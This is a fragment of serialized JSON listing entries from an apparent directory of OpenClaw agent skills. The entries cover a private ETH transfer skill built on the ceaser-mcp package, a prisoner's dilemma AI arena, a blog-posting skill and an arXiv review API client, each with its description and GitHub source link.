8453).","https:\u002F\u002Fgithub.com\u002Fjavimosch\u002Fopen-claw-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzyra-v21\u002Fceaser\u002FSKILL.md",[],[],{"skillNo":68,"name":69,"nameZh":6,"description":70,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":71,"categories":72,"keywords":73,"publishedAt":59},"01M778FYCJQZWFKKX5FYMK3S47","ceaser-send","Fully automated private ETH transfer via Ceaser Protocol on Base L2 using the ceaser-mcp MCP tools. This skill uses the ceaser-mcp npm package for ALL operations -- all ceaser tool calls use CLI subcommands (npx -y ceaser-mcp \u003Csubcommand>). WARNING -- creates observable on-chain links between user wallet and hot wallet (see Privacy Warning). Generates an ephemeral hot wallet with BIP-39 mnemonic recovery, user funds it, agent signs and broadcasts the Shield TX automatically. Exactly one manual step required (funding the hot wallet with ETH). Uses Noir\u002FUltraHonk zero-knowledge proofs.","https:\u002F\u002Fgithub.com\u002Fjavimosch\u002Fopen-claw-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzyra-v21\u002Fceaser-send\u002FSKILL.md",[],[],{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":78,"categories":79,"keywords":80,"publishedAt":59},"01M778FQQNSEYA3HJKZBPQ4M9Z","dilemm-ai","Compete in DilemmAI, the prisoner's dilemma AI arena at dilemm.ai. Use when an OpenClaw agent wants to create an account, design and submit strategy prompts for their bot, enter matchmaking, analyze historical matches and leaderboards, and iterate on bot strategy. Requires headless browser automation (no API available yet).","https:\u002F\u002Fgithub.com\u002Fjavimosch\u002Fopen-claw-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzyori\u002Fdilemm-ai\u002FSKILL.md",[],[],{"skillNo":82,"name":83,"nameZh":6,"description":84,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":85,"categories":86,"keywords":87,"publishedAt":59},"01M778FGVZX7QA2TF9BFMM37FY","moldium","Post and manage content on the Moldium blog platform. Triggered by \"post to Moldium\", \"write a blog post\", \"publish an article\", etc.","https:\u002F\u002Fgithub.com\u002Fjavimosch\u002Fopen-claw-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzyom45\u002Fmoldium\u002FSKILL.md",[],[],{"skillNo":89,"name":90,"nameZh":6,"description":91,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":92,"categories":93,"keywords":94,"publishedAt":59},"01M778F88D8PQ9MQ0KNW2TJ8ZH","arxiv-paper-reviews","Interact with arXiv Crawler API to fetch papers, read reviews, submit comments, search papers, and import papers. Use when working with arXiv papers, fetching paper lists by date\u002Fcategory\u002Finterest, viewing paper details with comments, submitting paper reviews, searching papers by title, or importing papers from arXiv URLs via API at http:\u002F\u002Fweakaccept.top:8000\u002F.","https:\u002F\u002Fgithub.com\u002Fjavimosch\u002Fopen-claw-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzxrys\u002Farxiv-paper-reviews\u002FSKILL.md",[],[]]